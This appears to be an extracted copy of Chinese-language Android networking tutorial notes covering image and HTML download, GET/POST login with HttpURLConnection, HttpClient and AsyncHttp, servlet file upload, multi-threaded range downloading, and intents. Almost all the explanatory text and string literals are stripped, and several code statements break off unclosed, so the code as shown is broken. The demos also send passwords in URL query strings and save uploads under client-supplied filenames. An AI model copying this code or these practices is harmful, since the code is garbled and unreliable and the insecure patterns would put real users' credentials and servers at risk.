																												File	file	=	new	File(MainActivity.this.getCacheDir(),	getFileName(url));
																												FileOutputStream	fos	=	new	FileOutputStream(file);
																												int	len	=	0;
																												byte[]	buf	=	new	byte[1024];
																												while	((len	=	in.read(buf))	!=	-1)	{
																																fos.write(buf,	0,	len);
																												}
																												//	iv_image.setImageBitmap(bitmap);
				
																												Bitmap	bitmap	=	BitmapFactory.decodeStream(in);
																												Message	message	=	new	Message();
																												message.what	=	SET_IMAGE;
																												message.obj	=	bitmap;
																												handler.sendMessage(message);
																								}	else	{
																												//	Toast.makeText(MainActivity.this,	"",	0).show();
																								}
																				}	catch	(MalformedURLException	e)	{
																								e.printStackTrace();
																								Message	msg	=	new	Message();
																								msg.what	=	FAILED;
																								handler.sendMessage(msg);
																								//	Toast.makeText(MainActivity.this,	"",
																								//	0).show();
																				}	catch	(IOException	e)	{
																								e.printStackTrace();
																								Message	msg	=	new	Message();
																								msg.what	=	FAILED;
																								handler.sendMessage(msg);
																								//	Toast.makeText(MainActivity.this,	"",
																								//	0).show();
																				}
																}



												}.start();
								}
				}
				/**
					*	 url
					*	
					*	@param	url	url
					*	@return	
					*/
				public	String	getFileName(String	url)	{
								int	index	=	url.lastIndexOf("/");
								String	filename	=	url.substring(index	+	1);
								return	filename;
				}

}





NetImageViewer.java

package	cn.zengfansheng.imageviewer.utils;
	
import	java.io.IOException;
import	java.io.InputStream;
import	java.net.HttpURLConnection;
import	java.net.MalformedURLException;
import	java.net.ProtocolException;
import	java.net.URL;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.os.Handler;
import	android.os.Message;
	
/**
	*	
	*/
public	abstract	class	NetImageViewer	{
	
				//	1
	
				//	2UI
	
				/**
					*	3
					*	
					*	@param	bitmap



					*/
				public	abstract	void	onImageLoaded(Bitmap	bitmap);
	
				/**
					*	2
					*/
				private	Handler	handler	=	new	Handler()	{
								@Override
								public	void	handleMessage(Message	msg)	{
												super.handleMessage(msg);
												Bitmap	bitmap	=	(Bitmap)	msg.obj;
												onImageLoaded(bitmap);
								}
				};
	
				/**
					*	1path
					*	
					*	@param	path	
					*	@throws	IOException
					*/
				public	void	downloadImage(final	String	path)	{
	
								new	Thread()	{
												@Override
												public	void	run()	{
	
																try	{
	
																				//	1 url
																				URL	url	=	new	URL(path);
	
																				//	2 urlHttpURLConnection
																				HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
	
																				//	3
																				conn.setRequestMethod("GET");



																				conn.setReadTimeout(5000);
																				conn.setConnectTimeout(5000);
	
																				//	4200
																				int	code	=	conn.getResponseCode();
																				if	(code	==	200)	{
	
																								//	5
																								InputStream	in	=	conn.getInputStream();
	
																								//	6Bitmap
																								Bitmap	bitmap	=	BitmapFactory.decodeStream(in);
	
																								//	7
																								Message	msg	=	new	Message();
																								msg.obj	=	bitmap;
																								handler.sendMessage(msg);
																				}
																}	catch	(MalformedURLException	e)	{
																				e.printStackTrace();
																}	catch	(ProtocolException	e)	{
																				e.printStackTrace();
																}	catch	(IOException	e)	{
																				e.printStackTrace();
																}
												}
								}.start();
				}
}

package	cn.zengfansheng.imageviewer;
	
import	android.app.Activity;
import	android.graphics.Bitmap;
import	android.os.Bundle;



import	android.widget.ImageView;
import	cn.zengfansheng.imageviewer.utils.NetImageViewer;
	
public	class	MainActivity	extends	Activity	{
				private	ImageView	iv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	this.findViewById(R.id.iv);
								
								NetImageViewer	netImageViewer	=	new	NetImageViewer()	{
												
												@Override
												public	void	onImageLoaded(Bitmap	bitmap)	{
																iv.setImageBitmap(bitmap);
												}
								};
								netImageViewer.downloadImage("http://192.168.221.221:8080/me/beauty.jpg"
				}
}



smartimageview__

smartimageview

http://code.google.com/intl/zh-CN/

https://github.com	

smartimageview

https://github.com/loopj/android-smart-image-view

smartimageview

import	android.app.Activity;
import	android.os.Bundle;
import	com.loopj.android.image.SmartImageView;
public	class	MainActivity	extends	Activity	{
				private	SmartImageView	imageView;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								imageView	=	(SmartImageView)	this.findViewById(R.id.imageview);
								String	url	=	"http://192.168.221.221:8080/me/beauty.jpg";
								imageView.setImageUrl(url);
				}
}

<!--	ctrl,android.jar	-->

http://code.google.com/intl/zh-CN/
https://github.com
https://github.com/loopj/android-smart-image-view


				<com.loopj.android.image.SmartImageView
								android:id="@+id/imageview"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"/>



HTML

HTML

a)				Message	msg	=	Message.obtain();	//MessageMessage
	
b)				--utils	 ByteArrayOutputStreamclose()
http://www.google.fr/		http://www.google.ir	()	
	
c)	jsputf-8		 jspgbkandroidutf-8()

	

package	cn.zengfansheng.htmlviewer;
	
import	java.io.IOException;
import	java.io.InputStream;
import	java.net.HttpURLConnection;
import	java.net.MalformedURLException;
import	java.net.URL;
import	android.app.Activity;
import	android.os.Bundle;
import	android.os.Handler;
import	android.os.Message;
import	android.text.TextUtils;
import	android.view.View;
import	android.widget.EditText;
import	android.widget.TextView;
import	android.widget.Toast;
	
import	cn.zengfansheng.html.utils.StreamUtils;
/**



	*	 html
	*	1
	*	2
	*	3 url,
	*	4 utils
	*	5
	*	
	*/
public	class	MainActivity	extends	Activity	{
				protected	static	final	int	ERRORCODE	=	1;
				protected	static	final	int	INTERNALERROR	=	2;
				protected	static	final	int	CONTENT	=	3;
				private	Handler	handler	=	new	Handler()	{
								@Override
								public	void	handleMessage(Message	msg)	{
												super.handleMessage(msg);
												switch	(msg.what)	{
												case	ERRORCODE:
																Toast.makeText(MainActivity.this,	"" ,	0).show();
																break;
												case	INTERNALERROR:
																Toast.makeText(MainActivity.this,	"" ,	0).show();
																break;
												case	CONTENT:
																String	text	=	(String)	msg.obj;
																tv_content.setText(text);
																break;
												}
								}
				};
				private	EditText	et_path;
				private	TextView	tv_content;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								



								et_path	=	(EditText)	this.findViewById(R.id.et_path);
								tv_content	=	(TextView)	this.findViewById(R.id.tv_content);
				}
				/**
					*	 html
					*	@param	view
					*/
				public	void	getHtmlContent(View	view){
								
								//	1 html
								final	String	path	=	et_path.getText().toString().trim();
								//	2path
								if	(TextUtils.isEmpty(path))	{
												Toast.makeText(this,	"" ,	0).show();
								}	else	{
												//	3path html
												new	Thread()	{
																@Override
																public	void	run()	{
																				try	{
																								//	3-1	 url
																								URL	url	=	new	URL(path);
																								//	3-2	 http
																								HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
																								//	3-3	
																								conn.setRequestMethod("GET");
																								conn.setConnectTimeout(5000);//	5
																								conn.setReadTimeout(5000);//	5
																								//	3-4
																								int	code	=	conn.getResponseCode();
																								if	(code	==	200)	{
																												InputStream	in	=	conn.getInputStream();
																												//	3-5in
																												String	text	=	StreamUtils.streamToText(in);
																												//	3-6ui
																												Message	msg	=	Message.obtain();
																												msg.what	=	CONTENT;



																												msg.obj	=	text;
																												handler.sendMessage(msg);
																								}	else	{
																												Message	msg	=	Message.obtain();//	Message
																												msg.what	=	ERRORCODE;
																												handler.sendMessage(msg);
																								}
																				}	catch	(MalformedURLException	e)	{
																								e.printStackTrace();
																								Message	msg	=	Message.obtain();
																								msg.what	=	INTERNALERROR;
																								handler.sendMessage(msg);
																				}	catch	(IOException	e)	{
																								e.printStackTrace();
																								Message	msg	=	Message.obtain();
																								msg.what	=	INTERNALERROR;
																								handler.sendMessage(msg);
																				}
																}
												}.start();
								}
				}
}
	
StreamUtils.java
package	cn.zengfansheng.html.utils;
	
import	java.io.ByteArrayOutputStream;
import	java.io.IOException;
import	java.io.InputStream;
public	class	StreamUtils	{
	
				/**
					*			
					*	@param	in	
					*	@return	String
					*	@throws	IOException	



					*/
				public	static	String	streamToText(InputStream	in)	throws	IOException	{
								
								ByteArrayOutputStream	baos	=	new	ByteArrayOutputStream();
								int	len	=	0;
								byte[]	buf	=	new	byte[1024];
								while	((len	=	in.read(buf))	!=	-1)	{
												baos.write(buf,	0,	len);
								}
								byte[]	byteArray	=	baos.toByteArray();
								String	content	=	new	String(byteArray,	"gbk");
								//	Androidutf-8windows gbk
								return	content;
				}
}

1

jspgbkandroidutf-8windowsgbk



a)	jsputf-8

b)	androidgbk

String	content	=	new	String(byteArray,	"gbk");

//	Androidutf-8windows gbk

jspgbkwindowsgbk





GET

1Android

//	
new			Thread	()			{
					@Override
					public			void			run	()			{
									super	.	run	();
									try			{
													String			result			=			LoginService	.	loginByGet	(	username	,			password	);
													System	.	out	.	println	(	"" 	+	result	);
									}			catch			(	IOException			e	)			{
													e	.	printStackTrace	();
									}
					}
}.	start	();

/**
*	1GET
*
*	@throws	IOException
*/
public	static	String	loginByGet(String	username,	String	password)
								throws	IOException	{
	
				username	=	URLEncoder.encode(username,	"utf-8");
				String	path	=	"http://192.168.221.221:8080/web/LoginServlet?username="+username
	
				URL	url	=	new	URL(path);
				HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
	
				conn.setRequestMethod("GET");
				conn.setConnectTimeout(5000);
				conn.setReadTimeout(5000);



	
				int	code	=	conn.getResponseCode();
				if	(code	==	200)	{
								InputStream	in	=	conn.getInputStream();
								String	text	=	StrStreamUtils.streamToText(in);
								return	text;
				}	else	{
								return	null;
				}
}
	
public	class	StrStreamUtils	{
				/**
					*	
					*	@param	in
					*	@return
					*/
				public	static	String	streamToText(InputStream	in)	{
								ByteArrayOutputStream	baos	=	new	ByteArrayOutputStream();
								int	len	=	0;
								byte[]	buf	=	new	byte[1024];
								try	{
												while	((len	=	in.read(buf))	!=	-1)	{
																baos.write(buf,	0,	len);
												}
												byte[]	byteArray	=	baos.toByteArray();
												return	new	String(byteArray);
								}	catch	(IOException	e)	{
												e.printStackTrace();
												return	null;
								}
				}
}
								
2web
				protected	void	doGet(HttpServletRequest	request,	HttpServletResponse	response)	
	
								String	username	=	request.getParameter("username");



								String	password	=	request.getParameter("password");
								username	=	new	String(username.getBytes("iso8859-1"),	"utf-8");
	
								System.out.println("" 	+	URLDecoder.decode(username,"utf-8"));
								System.err.println("" 	+	password);
	
								//	
								if	("hacket".equals(username)	&&	"123456".equals(password))	{
												//	
												response.getOutputStream().write("" .getBytes("utf-8"));
								}	else	{
												//	
												response.getOutputStream().write("" .getBytes("utf-8"));
								}
				}

	

android

1responseAndroid

response.getOutputStream().write( "" .getBytes("utf-8"));



Android new	String(byteArray);

2request

1url

GET	/web/LoginServlet?username=%E5%B0%8F%E8%83%9C&password=123456	HTTP/1.1
	
username	=	new	String(username.getBytes("iso8859-1"),	"utf-8"
System.out.println("" 	+	URLDecoder.decode(username,"utf-8"

2android

username	=	URLEncoder.encode(username,	"utf-8");

String	path	=	"http://192.168.221.221:8080/web/LoginServlet?username="+username+

	



POST

POST

	

//	1.		post
conn.setRequestMethod("POST");
	
//	2.	
conn.setRequestProperty("Content-Type","application/x-www-form-
urlencoded");
String	data	=	"username="	+	URLEncoder.encode(username,"utf-
8")+	"&password="	+	URLEncoder.encode(password,"utf-8");
conn.setRequestProperty("Content-Length",String.valueOf(data.length()));
conn.setConnectTimeout(5000);
	
//	3.	
conn.setDoOutput(true);
	
//	4.
conn.getOutputStream().write(data.getBytes());



_()___smartimageview_GETPOST
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HttpClientHttpGetHttpPost	

HttpClientapache	,	

1.
HttpClient	client	=	new	DefaultHttpClient()
2.
HttpGet
3.
client.execute(path);
1HttpGe t	
				/**
					*	1HttpClient——GET
					*	
					*	@throws	IOException
					*/
				public	static	String	loginByGet(String	username,	String	password)throws	IOException	{
								
								System.out.println("GET" );
								//	1
								HttpClient	client	=	new	DefaultHttpClient();

								String	path	=	"http://192.168.221.221:8080/web/LoginServlet?username="
																+	username	+	"&password"	+	password;
								//	2 url
								HttpGet	httpGet	=	new	HttpGet(path);

								//	3
								HttpResponse	response	=	client.execute(httpGet);

								int	code	=	response.getStatusLine().getStatusCode();
								if	(code	==	200)	{
												//	
												HttpEntity	entity	=	response.getEntity();
												InputStream	in	=	entity.getContent();
												String	text	=	StreamUtils.readStream(in);
												return	text;
								}
								return	null;
				}



2HttpPost	
								/**
					*	2HttpClient——POST
					*	
					*	@param	username
					*	@param	password
					*	@return
					*	@throws	IOException
					*/
				public	static	String	loginByPost(String	username,	String	password)
												throws	IOException	{
								System.out.println("POST" );

								String	path	=	"http://192.168.221.221:8080/web/LoginServlet";
								//	1

								HttpClient	client	=	new	DefaultHttpClient();
								//	2 url

								HttpPost	httpPost	=	new	HttpPost(path);

								//	3
								List<NameValuePair>	parameters	=	new	ArrayList<NameValuePair>();
								parameters.add(new	BasicNameValuePair("username",	username));
								parameters.add(new	BasicNameValuePair("password",	password));
								HttpEntity	entity	=	new	UrlEncodedFormEntity(parameters,	"UTF-8");
								//	encoding	the	name/value	pairs	be	encoded	with
								httpPost.setEntity(entity);
								
								//	4
								HttpResponse	response	=	client.execute(httpPost);
								int	code	=	response.getStatusLine().getStatusCode();	//	
								if	(code	==	200)	{
												InputStream	in	=	response.getEntity().getContent();
												String	text	=	StreamUtils.readStream(in);
												return	text;
								}
								return	null;
				}

wiz:open_attachment?guid=6ba08ae8-bc9d-454e-96e5-7216c567c78c


AsyncHttp	

AsyncHttp	https://github.com/		
async	android

https://github.com/loopj/android-async-http	

				/**
					*	
					*	
					*	@param	view
					*/
				public	void	getContent(View	view)	{
								
								String	path	=	et_path.getText().toString();
								if	(TextUtils.isEmpty(path))	{
												Toast.makeText(getApplicationContext(),	"" ,	0).show();
								}
								AsyncHttpClient	sClient	=	new	AsyncHttpClient();
								AsyncHttpResponseHandler	responseHandler	=	new	AsyncHttpResponseHandler()	{
												@Override
												public	void	onStart()	{
																super.onStart();
																System.out.println("AsyncHtp" );
												}
												@Override
												public	void	onSuccess(String	content)	{
																super.onSuccess(content);
																tv_content.setText(content);
												}
												@Override
												public	void	onFailure(int	statusCode,	Header[]	headers,
																				Throwable	error,	String	content)	{
																super.onFailure(statusCode,	headers,	error,	content);
																Toast.makeText(getApplicationContext(),	"" ,	0).show();
																error.printStackTrace();
												}
								};
								sClient.get(path,	responseHandler);	//	new	Thread
				}

	

https://github.com/
https://github.com/loopj/android-async-http


	

wiz:open_attachment?guid=5ccf4fc5-9175-4b0e-9941-4543002a2567


AsyncHttp

AsyncHttpClient	

AsyncHttpResponseHandler				//

RequestParams		//post	

import	java.io.IOException;
import	org.apache.http.Header;
import	android.content.Context;
import	android.widget.Toast;
import	com.loopj.android.http.AsyncHttpClient;
import	com.loopj.android.http.AsyncHttpResponseHandler;
import	com.loopj.android.http.RequestParams;
public	class	LoginService	{
				/**
					*	1AsyncHttpClient——GET
					*	
					*	@throws	IOException
					*/
				public	static	void	loginByGet(final	Context	context,	String	username,
												String	password)
												throws	IOException	{
								
								System.out.println("Async	GET" );
								String	path	=	"http://192.168.221.221:8080/web/LoginServlet?
username="+	username	+	"&password="	+	password;
								AsyncHttpClient	asyncHttpClient	=	new	AsyncHttpClient();
								asyncHttpClient.get(path,	new	AsyncHttpResponseHandler()	{
												@Override
												public	void	onSuccess(int	statusCode,	String	content)	{
																System.out.println("statusCode" 	+	statusCode);
																Toast.makeText(context,	content,	0).show();
												}
												@Override
												protected	void	sendFailureMessage(int	statusCode,	Header[]	headers,
																				Throwable	e,	String	responseBody)	{
																Toast.makeText(context,	"GET" ,	0).show();



												}
								});
				}
				/**
					*	2AsyncHttpClient——POST
					*	
					*	@param	username
					*	@param	password
					*	@return
					*	@throws	IOException
					*/
				public	static	void	loginByPost(final	Context	context,	String	username,
												String	password)
												throws	IOException	{
								System.out.println("Async		POST" );
								String	path	=	"http://192.168.221.221:8080/web/LoginServlet";
								AsyncHttpClient	asyncHttpClient	=	new	AsyncHttpClient();
								RequestParams	params	=	new	RequestParams();
								params.put("username",	username);
								params.put("password",	password);
								
								asyncHttpClient.post(path,	params,	new	AsyncHttpResponseHandler()	{
												@Override
												public	void	onSuccess(String	content)	{
																Toast.makeText(context,	content,	0).show();
												}
												@Override
												protected	void	sendFailureMessage(int	statusCode,	Header[]	headers,
																				Throwable	e,	String	responseBody)	{
																Toast.makeText(context,	"POST" ,	0).show();
												}
								});
				}
}

wiz:open_attachment?guid=0a287253-0d52-44c3-a5f2-dfff3a14e57e


AsyncHttp

1	
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<EditText
								android:id="@+id/et_path"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint=""
								android:text="http://192.168.221.221:8080/FileUpload/FileUploadServlet"
								android:inputType="textUri"	>
								<requestFocus	/>
				</EditText>
				<Button
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_gravity="center_horizontal"
								android:text="" 	
								android:onClick="upload"
								/>
</LinearLayout>
2MainActivity.java	

import	java.io.File;
import	java.io.FileNotFoundException;
import	android.app.Activity;
import	android.os.Bundle;
import	android.os.Environment;
import	android.text.TextUtils;
import	android.view.View;
import	android.widget.EditText;
import	android.widget.Toast;
import	com.loopj.android.http.AsyncHttpClient;
import	com.loopj.android.http.AsyncHttpResponseHandler;
import	com.loopj.android.http.RequestParams;
public	class	MainActivity	extends	Activity	{
				private	EditText	et_path;



				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								et_path	=	(EditText)	this.findViewById(R.id.et_path);
				}
				/**
					*	
					*/
				public	void	upload(View	v)	{
								String	path	=	et_path.getText().toString();
								if	(TextUtils.isEmpty(path))	{
												Toast.makeText(this.getApplicationContext(),	"" ,	0).show();
								}
								try	{
												File	file	=	new	File(Environment.getExternalStorageDirectory(),"backup.xml");
												if	(!file.exists())	{
																Toast.makeText(this.getApplicationContext(),	"" ,	0).show();
																return;
												}
												AsyncHttpClient	asyncHttpClient	=	new	AsyncHttpClient();
												RequestParams	params	=	new	RequestParams();
												params.put("file",	file);
												asyncHttpClient.post(path,	params,	new	AsyncHttpResponseHandler()	{
																@Override
																public	void	onSuccess(String	content)	{
																				Toast.makeText(getApplicationContext(),	content,	0).show();
																}
																@Override
																public	void	onFailure(Throwable	error,	String	content)	{
																				Toast.makeText(getApplicationContext(),	"" ,	0).show();
																				error.printStackTrace();
																}
												});
								}	catch	(FileNotFoundException	e)	{
												e.printStackTrace();
								}
				}
}
3 FileUploadServlet	.java	

import	java.io.File;



import	java.io.IOException;
import	java.util.List;
import	javax.servlet.ServletException;
import	javax.servlet.annotation.WebServlet;
import	javax.servlet.http.HttpServlet;
import	javax.servlet.http.HttpServletRequest;
import	javax.servlet.http.HttpServletResponse;
import	org.apache.commons.fileupload.FileItem;
import	org.apache.commons.fileupload.FileItemFactory;
import	org.apache.commons.fileupload.disk.DiskFileItemFactory;
import	org.apache.commons.fileupload.servlet.ServletFileUpload;

@WebServlet("/FileUploadServlet")
public	class	FileUploadServlet	extends	HttpServlet	{
				private	static	final	long	serialVersionUID	=	-8336588521811908689L;
				public	void	doGet(HttpServletRequest	request,
												HttpServletResponse	response)	throws	ServletException,IOException	{
								doPost(request,	response);
				}
				public	void	doPost(HttpServletRequest	request,
												HttpServletResponse	response)	throws	ServletException,IOException	{
								
								response.setCharacterEncoding("utf-8");

								boolean	isMultipart	=	ServletFileUpload.isMultipartContent(request);//
enctype="multipart/form-data"
								if	(isMultipart)	{	//	
												String	realpath	=	request.getSession().getServletContext().getRealPath("/files"
												System.out.println(realpath);
												File	dir	=	new	File(realpath);
												if(!dir.exists())	dir.mkdirs();
												
												//	1
												FileItemFactory	factory	=	new	DiskFileItemFactory();
												//	2
												ServletFileUpload	upload	=	new	ServletFileUpload(factory);
												upload.setHeaderEncoding("UTF-8");



												try	{
																List<FileItem>	items	=	upload.parseRequest(request);//3item
																for(FileItem	item	:	items){
																				if	(item.isFormField())	{	//	3-1item
																									String	name1	=	item.getFieldName();//
																									String	value	=	item.getString("UTF-8");//
																									System.out.println(name1+	"="+	value);
																				}	else	{	//	3-2item
																								System.out.println(item.getName());
																								item.write(new	File(dir,	System.currentTimeMillis()+"_"+	item.getName
																								response.getWriter().write("" );
																				}
																}
												}	catch	(Exception	e)	{
																e.printStackTrace();
																response.getWriter().write("" );
												}
								}else{
												doGet(request,	response);
								}
				}
}
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1Java	Peoject
2HTTPcontentLength
3threadCountthreadSize	=	contentLength/threadCount
4RandomAccessFile	raf
5conn.setRequestProperty("range","bytes=1594-47143");
6raf.seek(int)	
7
8
9
/.
	
?
	
	.



	

javase
import	java.io.BufferedReader;
import	java.io.File;
import	java.io.FileReader;
import	java.io.IOException;
import	java.io.InputStream;
import	java.io.RandomAccessFile;
import	java.net.HttpURLConnection;
import	java.net.URL;
public	class	MultiDownload	{
				private	static	String	path	=	"Http://192.168.221.221:8080/web/e.exe";
				private	static	int	threadCount	=	7;//	
				private	static	int	livingThread	=	0;//	-
				public	static	void	main(String[]	args)	throws	IOException	{
								URL	url	=	new	URL(path);
								HttpURLConnection	connection	=	(HttpURLConnection)	url.openConnection();
								connection.setRequestMethod("GET");
								connection.setConnectTimeout(5000);
								int	code	=	connection.getResponseCode();
								System.out.println("1" 	+	code);
								if	(code	==	200)	{
												//	1
												int	contentLength	=	connection.getContentLength();
												System.out.println(":" 	+	contentLength);
												//2
												int	blockSize	=	contentLength/threadCount;
												System.out.println("blockSize" 	+	blockSize);
												for	(int	i	=	1;	i	<=	threadCount;	i++)	{
																//	3
																int	startIndex	=	(i	-	1)	*	blockSize;
																int	endIndex	=	i	*	blockSize	-	1;
																if	(i	==	threadCount)	{
																				endIndex	=	contentLength;//	4
																}
																livingThread	=	threadCount;
																//	5
																new	Thread(new	DownloadTask(i,	startIndex,	endIndex)).start();
												}
								}



				}
				/**
					*	
					*	
					*	@param	filepath	
					*	@return	
					*/
				public	static	String	getFileName(String	filepath)	{
								return	filepath.substring(filepath.lastIndexOf("/")	+	1);
				}
				
				/**
					*	
					*	
					*	
					*	@author	hacket
					*	
					*/
				private	static	class	DownloadTask	implements	Runnable	{
								private	int	id;//	id
								private	int	startIndex;//	
								private	int	endIndex;//	
								public	DownloadTask(int	id,	int	startIndex,	int	endIndex)	{
												this.id	=	id;
												this.startIndex	=	startIndex;
												this.endIndex	=	endIndex;
								}
								@Override
								public	void	run()	{
												
												try	{
																//	 http
																URL	url	=	new	URL(path);
																HttpURLConnection	connection	=	(HttpURLConnection)	url.openConnection();
																connection.setRequestMethod("GET");
																connection.setConnectTimeout(5000);
																connection.setRequestProperty("Range",	"bytes="+startIndex+"-"+endIndex);
																//	
																File	f	=	new	File(getFileName(path)	+	id	+	".txt");
																if	(f.exists()	&&	f.length()	>	0)	{//	
																				BufferedReader	br	=	new	BufferedReader(new	FileReader(f));
																				String	total	=	br.readLine();



																				startIndex	+=	Integer.parseInt(total);
																				br.close();
																}
																System.out.println("id:" +id+"" +startIndex+"——"+endIndex);
																
																//	
																RandomAccessFile	raf	=	new	RandomAccessFile(getFileName(path),	"rwd");
																raf.setLength(connection.getContentLength());//	
																raf.seek(startIndex);//	
																//	
																InputStream	in	=	connection.getInputStream();
																int	len	=	0;
																byte[]	buf	=	new	byte[1024];
																int	total	=	0;//	
																while	((len	=	in.read(buf))	!=	-1)	{
																				//	
																				File	file	=	new	File(getFileName(path)	+	id	+	".txt");
																				raf.write(buf,	0,	len);
																				RandomAccessFile	positionAccessFile	=	new	RandomAccessFile(file,	"rwd"
																				total	+=	len;
																				//	
																				positionAccessFile.write(String.valueOf(total).getBytes());
																				positionAccessFile.close();
																}
																raf.close();
																in.close();
																System.out.println("" 	+	id	+	"" );
																
												}	catch	(IOException	e)	{
																e.printStackTrace();
												}finally{
																synchronized	(DownloadTask.class)	{
																				livingThread--;
																				System.out.println("livingThread:"	+	livingThread);
																				if	(livingThread	<=	0)	{
																								System.out.println("" );
																								//	
																								for	(int	i	=	1;	i	<=	threadCount;	i++)	{
																												File	deletFile	=	new	File(getFileName(path)	+	i
																																				+	".txt");
																																System.out.println(i+"" +deletFile.delete());
																								}



																				}
																}
												}
								}
				}
}
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https://github.com/yangfuhai/afinal	

FinalHttp
		
				FinalHttp	fh	=	new	FinalHttp();		
				//download
				HttpHandler	handler	=	fh.download("http://www.xxx.com//xxx.apk" ,	//
				true,//true:	false:
				"/mnt/sdcard/testapk.apk",	//
				new	AjaxCallBack()	{		
																@Override		
																public	void	onLoading(long	count,	long	current)	{		
																					textView.setText("" +current+"/"+count);		
																}		
																@Override		
																public	void	onSuccess(File	t)	{		
																				textView.setText(t==null?"null":t.getAbsoluteFile().toString());		
																}		
												});		
			//stop()
			handler.stop();
public	class	MainActivity	extends	Activity	{
				private	TextView	tv_download;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								tv_download	=	(TextView)	this.findViewById(R.id.tv_download);
				}
				public	void	download(View	view)	{
								FinalHttp	finalHttp	=	new	FinalHttp();
								String	url	=	"http://192.168.221.221:8080/web/e.exe";
								System.out.println("sdcard" 	+	Environment.getExternalStorageState());
								String	target	=	Environment.getExternalStorageDirectory()	+	"/e1.exe";
								finalHttp.download(url,	target,	true,	new	AjaxCallBack<File>()	{
												@Override
												public	void	onLoading(long	count,	long	current)	{

https://github.com/yangfuhai/afinal


																tv_download.setText("" 	+	current	+	"/"	+	count);
												}
												@Override
												public	void	onSuccess(File	t)	{
																Toast.makeText(getApplicationContext(),	"" ,	0).show();
												}
								});
				}
}
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Intent
Android AndroidIntent	()	Intent Intent IntentAndroid
Intent

Intent.setComponent()Intent.setClass()Intent Intent
Intent 	Android(action)(category)URI

<intent-filter>	
				<action	android:name="android.intent.action.CALL"	/>	
				<category	android:name="android.intent.category.DEFAULT"	/>	
				<data	android:scheme="tel"	/>	
				</intent-filter>	
				
				<intent-filter>	
				<action	android:name="android.intent.action.CALL"	/>	
				<category	android:name="android.intent.category.DEFAULT"	/>	
				<data	android:mimeType="vnd.android.cursor.item/phone"	/>	
</intent-filter>		

Android
intent-filterIntent	Filter Intent URI	
Action	test
		
•	
•	
Category	test

AndroidstartActivity() "android.intent.category.DEFAULT"
CATEGORY_DEFAULT 	 "android.intent.category.DEFAULT"

"android.intent.action.MAIN""android.intent.category.LAUNCHER"
Data	test
URIURI URI schemeschemeURIs scheme schemeURIs scheme
schemeURIs
URI
a.	URIURIs
b.	URIURIURI mailto:telURIs
c.	URIURI
d.	URI URI URIURIcontent:file:	URIURI content:file:	

I/ActivityManager(160):	START	{act=android.intent.action.MAIN	cat=
[android.intent.category.LAUNCHER]	flg=0x10200000



cmp=com.android.calculator2/.Calculator	u=0}	from	pid	257

//		
public	void	openCalc(View	view)	{
									Intent	intent	=	new	Intent();
									//	intent.setClassName("com.android.calculator2",	"Calculator");
												//			
									intent.setClassName("com.android.calculator2",	"com.android.calculator2.Calculator"
								this.startActivity(intent);
				}		

	

//	
//

Intent	intent	=	new	Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.setData(Uri.parse("http://www.baidu.com"));
this.startActivity(intent);





1LogCat	
10-16	14:36:54.309:	I/ActivityManager(161):	START
{act=android.intent.action.MAIN	cat=[android.intent.category.LAUNCHER]
flg=0x10200000	cmp=com.android.contacts/.activities.DialtactsActivity	bnds=
[0,273][48,321]	u=0}	from	pid	292
cmp:/ DialtactsActivityActivity

2aosp_jb422\packages\apps\Contacts\AndroidManifest.xml
DialtactsActivity
<activity	android:name=".activities.DialtactsActivity"
<intent-filter>
																<action	android:name="android.intent.action.VIEW"	/>
																<action	android:name="android.intent.action.DIAL"	/>
																<category	android:name="android.intent.category.DEFAULT"	/>
																<category	android:name="android.intent.category.BROWSABLE"	/>
																<data	android:scheme="tel"	/>
	</intent-filter>
</activity		>

android:namesetAction()
<data	android:scheme="tel"	/>
setData

10-16	14:44:28.849:	I/ActivityManager(161):	START	{act=android.intent.action.VIEW	dat=tel:xxx	cmp=com.android.contacts/.activities.DialtactsActivity	u=0}
from	pid	1542

public	void	call(View	view)	{
								Intent	intent	=	new	Intent();
								intent.setAction(Intent.ACTION_VIEW);
								intent.setData(Uri.parse("tel:110"));
								this.startActivity(intent);
}		





Activity

1Activity 2AndroidManifest.xmlactivity
3
public	class	MainActivity	extends	Activity	implements	OnClickListener	{
				private	Button	bt;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								bt	=	(Button)	this.findViewById(R.id.bt);
								bt.setOnClickListener(this);
				}
				@Override
				public	void	onClick(View	v)	{
								//	Activitymanifest.xml
								//	
//								Intent	intent	=	new	Intent();
//								intent.setClassName(getPackageName(),	getPackageName()+".SecondActivity");
								
								//	
								Intent	intent	=	new	Intent(this,	SecondActivity.class);
								this.startActivity(intent);
				}
}



Activity

Activity
1AndroidManifest.xml
<!--	Activity	-->
<activity	android:name="cn.zengfansheng.userdefineimpliciteintent.SecondActivity"	>		
		<!--	1 activity	android:nameActivity		-->																																

<intent-filter>
					<action	android:name="cn.zengfansheng.userdefineimpliciteintent.Second"/>	
					<!--2action intent.setAction()-->
					<category	android:name="android.intent.category.DEFAULT"></category>
					<!--3category DEFAULT CAR_DOCKHome 	-->
</intent-filter>

</activity>
2
@Override
public	void	onClick(View	v)	{
				Intent	intent	=	new	Intent();
				intent.setAction("cn.zengfansheng.userdefineimpliciteintent.Second");
				this.startActivity(intent);
}

<intent-filter>	

public	void	onClick(View	v)	{
				Intent	intent	=	new	Intent();
